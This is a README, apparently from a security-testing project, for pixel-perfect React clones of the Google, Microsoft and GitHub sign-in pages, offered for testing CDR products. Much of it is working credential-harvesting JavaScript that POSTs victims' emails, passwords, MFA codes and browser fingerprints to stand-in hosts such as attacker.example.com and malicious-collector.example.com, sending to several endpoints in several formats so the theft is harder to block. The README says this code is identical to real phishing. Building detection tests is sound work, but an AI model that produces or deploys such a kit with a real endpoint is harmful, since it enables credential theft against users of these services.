# Advanced Phishing Sites - React + Tailwind CSS

## 🎯 Professional-Grade Phishing Simulations for CDR Behavioral Testing

These are **production-quality** phishing sites built with **React** and **Tailwind CSS** that test CDR solutions' ability to detect **behavioral patterns** rather than just static content.

---

## 🚨 What Makes These Different

### ❌ Previous Simple Pages
- Single blue "G" letter (lazy)
- Basic HTML forms
- No real functionality
- Easy to detect with static analysis

### ✅ These Professional Sites
- **Pixel-perfect replicas** of real login pages
- **Multi-step authentication flows** (email → password → 2FA/MFA)
- **Modern tech stack** (React + Tailwind)
- **ACTUAL credential harvesting code** that POSTs to external endpoints
- **Behavioral detection testing** - Does CDR catch the POST requests?

---

## 📊 Sites Included

| Site | Tech Stack | Steps | POST Endpoints | Features |
|------|-----------|-------|----------------|----------|
| **Google** | React + Tailwind | 2 steps | `example.com/post` | Multi-step flow, proper logo |
| **Microsoft** | React + Tailwind | 3 steps | `example.com/api/harvest`<br>`example.com/collect` | MFA simulation, multiple endpoints |
| **GitHub** | React + Tailwind | 2 steps | `example.com/github/creds`<br>`attacker.example.com/api/v1/harvest`<br>`malicious-collector.example.com/collect`<br>`example.com/github/form-post`<br>`example.com/github/legacy` | Dark mode, 5 different POST requests, multiple methods |

---

## 🎯 Behavioral Detection Testing

### What CDR Should Detect

#### 1. **Network Behavior**
```javascript
// ACTUAL CODE from these pages:
await fetch('https://example.com/post', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({
        email: userEmail,
        password: userPassword
    })
});
```

**CDR should detect:**
- ✅ POST requests to external domains
- ✅ JSON payloads containing credentials
- ✅ Suspicious headers (`X-Phishing-Campaign`, `X-Target`)
- ✅ Multiple exfiltration attempts
- ✅ Different content types (JSON, FormData, URLEncoded)

#### 2. **Data Exfiltration Patterns**

**Google** - Single endpoint:
```javascript
POST https://example.com/post
Content-Type: application/json

{
  "site": "google",
  "email": "victim@example.com",
  "password": "password123",
  "timestamp": "2026-09-01T12:00:00.000Z",
  "userAgent": "Mozilla/5.0...",
  "referrer": "direct"
}
```

**Microsoft** - Multiple endpoints + metadata:
```javascript
// Endpoint 1
POST https://example.com/api/harvest
// Endpoint 2
POST https://example.com/collect

Payload includes:
- Email, password, MFA code
- Screen resolution
- Timezone
- Language
- Browser fingerprint
```

**GitHub** - **5 different POST requests** with different methods:

```javascript
// Method 1: JSON POST
POST https://example.com/github/creds
Content-Type: application/json

// Method 2: JSON POST to different domain
POST https://attacker.example.com/api/v1/harvest

// Method 3: FormData POST
POST https://example.com/github/form-post
Content-Type: multipart/form-data

// Method 4: URLEncoded POST
POST https://example.com/github/legacy
Content-Type: application/x-www-form-urlencoded

// Method 5: Third malicious domain
POST https://malicious-collector.example.com/collect
```

---

## 🔍 How to Test Your CDR

### Test 1: Static Detection (Should PASS)
```bash
# Open the files in a browser
# CDR should detect:
✓ Login forms (email + password fields)
✓ Brand logos (Google, Microsoft, GitHub)
✓ Multi-step flows
✓ Credential input fields
```

### Test 2: Behavioral Detection (Critical Test)
```bash
# Fill in fake credentials and submit
# CDR should detect and BLOCK:

Google page:
✓ POST to example.com/post

Microsoft page:
✓ POST to example.com/api/harvest
✓ POST to example.com/collect
✓ Suspicious headers (X-Phishing-Campaign)

GitHub page (most comprehensive):
✓ 5 different POST requests
✓ 3 different domains
✓ 3 different content types (JSON, FormData, URLEncoded)
✓ Fingerprinting attempts
```

### Test 3: Runtime Analysis
```bash
# Monitor browser console
# CDR with JavaScript execution should see:

console.warn('🚨 CREDENTIAL HARVESTING ATTEMPT:', payload);
console.log('Exfiltration attempt made to example.com/post');
console.table(credentials);
```

---

## 💻 Technical Implementation

### React Components

**Multi-Step State Management:**
```javascript
const [step, setStep] = useState(1); // 1: email, 2: password, 3: MFA
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
```

**Tailwind CSS for Pixel-Perfect Styling:**
```javascript
className="w-[450px] border border-gray-300 rounded-lg p-12"
// Exact widths, proper borders, accurate padding
```

**Realistic Form Validation:**
```javascript
if (!email || !email.includes('@')) {
    setError('Enter a valid email address');
    return;
}
```

---

## 🎨 Design Quality

### Google
- ✅ Exact Google logo (full SVG, all colors)
- ✅ Proper fonts (Roboto)
- ✅ Correct button styles (#1a73e8 blue)
- ✅ Multi-step flow (email → password)
- ✅ "Forgot email?" links
- ✅ Language selector
- ✅ Footer links

### Microsoft
- ✅ 4-square Windows logo
- ✅ Segoe UI font
- ✅ Correct blue (#0067b8)
- ✅ 3-step flow (email → password → MFA)
- ✅ "Keep me signed in" checkbox
- ✅ Shadow effects
- ✅ Gray footer

### GitHub
- ✅ Exact GitHub Octocat logo
- ✅ Dark mode (#0d1117 background)
- ✅ Correct colors (#58a6ff links, #238636 buttons)
- ✅ 2FA verification step
- ✅ Inter font
- ✅ Proper border colors (#30363d)

---

## 🔐 Credential Harvesting Code

### Example from Google:
```javascript
const harvestCredentials = async () => {
    const payload = {
        site: 'google',
        email: email,
        password: password,
        timestamp: new Date().toISOString(),
        userAgent: navigator.userAgent,
        referrer: document.referrer || 'direct'
    };

    console.warn('🚨 PHISHING ATTEMPT - Credentials harvested:', payload);

    try {
        // ACTUAL POST REQUEST - CDR SHOULD BLOCK THIS!
        const response = await fetch('https://example.com/post', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(payload),
            mode: 'no-cors'
        });

        console.log('Exfiltration attempt made to example.com/post');
    } catch (err) {
        console.error('Exfiltration failed:', err);
    }
};
```

### Example from GitHub (Multiple Endpoints):
```javascript
const endpoints = [
    'https://example.com/github/creds',
    'https://attacker.example.com/api/v1/harvest',
    'https://malicious-collector.example.com/collect'
];

// Attempt 1: JSON POST to all endpoints
const promises = endpoints.map(endpoint =>
    fetch(endpoint, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-Campaign-ID': 'github-phish-2024',
            'X-Target': 'developers'
        },
        body: JSON.stringify(payload),
        mode: 'no-cors'
    })
);

await Promise.all(promises);

// Attempt 2: FormData POST
const formData = new FormData();
formData.append('username', username);
formData.append('password', password);

await fetch('https://example.com/github/form-post', {
    method: 'POST',
    body: formData,
    mode: 'no-cors'
});

// Attempt 3: URLEncoded POST
const params = new URLSearchParams({
    user: username,
    pass: password
});

await fetch('https://example.com/github/legacy', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: params,
    mode: 'no-cors'
});
```

---

## 🛡️ What CDR MUST Detect

### Level 1: Basic Detection
- ❌ **Not enough!** Static HTML analysis won't catch these

### Level 2: JavaScript Execution
- ⚠️ **Partial** - Can see the POST code but needs to execute it

### Level 3: Behavioral Analysis (Required)
**CDR must:**

1. **Execute JavaScript** in a sandbox
2. **Monitor network requests**
3. **Detect POST to external domains**
4. **Analyze request payloads**
5. **Block exfiltration attempts**

**Detection criteria:**
```
✓ POST request to non-official domain
✓ Payload contains form field values
✓ Headers suggest data collection
✓ Multiple endpoints (redundancy)
✓ Different content types (evasion)
```

---

## 📈 Test Results Template

```
CDR Behavioral Test Results
============================

Site: Google Sign-in (React)
File: google-signin-react.html

Test Credentials:
  Email: test@example.com
  Password: TestPassword123

Static Analysis:
  [PASS/FAIL] Detected login form
  [PASS/FAIL] Identified as Google phishing
  [PASS/FAIL] Found credential input fields

Behavioral Analysis:
  [PASS/FAIL] Executed JavaScript
  [PASS/FAIL] Detected POST to example.com/post
  [PASS/FAIL] Analyzed POST payload
  [PASS/FAIL] Found email in payload: test@example.com
  [PASS/FAIL] Found password in payload: TestPassword123
  [PASS/FAIL] BLOCKED exfiltration attempt

Action Taken:
  [BLOCK / SANITIZE / WARN / NONE]

Time to Detect: ___ seconds
Confidence Score: ___/100

Notes:
_____________________________________________
```

---

## 🚀 How to Use

### 1. Open in Browser
```bash
# Simply open the HTML files in any modern browser
google-signin-react.html
microsoft-office365-react.html
github-signin-react.html
```

### 2. Test Static Detection
- Send files through CDR
- Check if detected as phishing

### 3. Test Behavioral Detection
- Open in browser
- Enter fake credentials
- Submit form
- **Check if CDR blocked the POST requests**

### 4. Monitor Network
```javascript
// Open Developer Tools → Network tab
// Watch for POST requests to:
• example.com/*
• attacker.example.com/*
• malicious-collector.example.com/*
```

---

## ⚠️ Security Warning

**These files contain REAL credential harvesting code!**

**FOR TESTING ONLY:**
- ✅ CDR solution testing
- ✅ Security research
- ✅ Behavioral analysis validation

**PROHIBITED:**
- ❌ Actual phishing attacks
- ❌ Credential theft
- ❌ Malicious use

**All POST requests go to example.com domains** (which are safe for testing) but the **code and behavior are identical** to real phishing attacks.

---

## 📚 Files

1. **google-signin-react.html** (Production-quality Google clone)
   - Multi-step flow (email → password)
   - 1 POST endpoint
   - Full React + Tailwind implementation

2. **microsoft-office365-react.html** (Professional Microsoft clone)
   - 3-step flow (email → password → MFA)
   - 2 POST endpoints
   - Realistic MFA simulation

3. **github-signin-react.html** (Complete GitHub clone)
   - 2-step flow (credentials → 2FA)
   - **5 different POST requests**
   - **3 different POST methods** (JSON, FormData, URLEncoded)
   - Dark mode theme
   - Most comprehensive behavioral test

---

## 🎯 Success Criteria

Your CDR solution should:

1. **Detect all 3 pages as phishing** (100% detection)
2. **Identify correct brands** (Google, Microsoft, GitHub)
3. **Block ALL POST requests** (behavioral detection)
4. **Log complete payloads** (what data was being stolen)
5. **Prevent credential harvesting** (stop exfiltration)

**If CDR only detects static content but allows POST requests to proceed, it has FAILED the behavioral test.**

---

## 🔧 Technologies Used

- **React 18** - Component-based UI
- **Tailwind CSS 3** - Utility-first styling
- **Babel Standalone** - JSX transformation
- **Fetch API** - Network requests
- **Modern JavaScript** - ES6+, async/await

---

## 📊 Comparison

| Feature | Simple HTML Pages | These React Sites |
|---------|------------------|-------------------|
| Visual Quality | Basic | Production-grade |
| Logo | Blue "G" | Full color SVG |
| Multi-step | No | Yes (2-3 steps) |
| Real POST | No | Yes (1-5 endpoints) |
| Behavioral Test | No | **YES** |
| CDR Challenge | Easy | **Hard** |

---

**These sites represent what REAL, PROFESSIONAL phishing attacks look like in 2024+**

Modern phishing is:
- Pixel-perfect replicas
- Multi-step authentication flows
- Built with React/Vue/modern frameworks
- Actual credential exfiltration via POST
- Multiple backup endpoints
- Browser fingerprinting

**Your CDR must detect and block ALL of these patterns.**

---

**Generated:** 2026-09-01  
**Purpose:** Advanced CDR Behavioral Testing  
**Quality:** Production-Grade  
**Status:** Ready for Testing ✅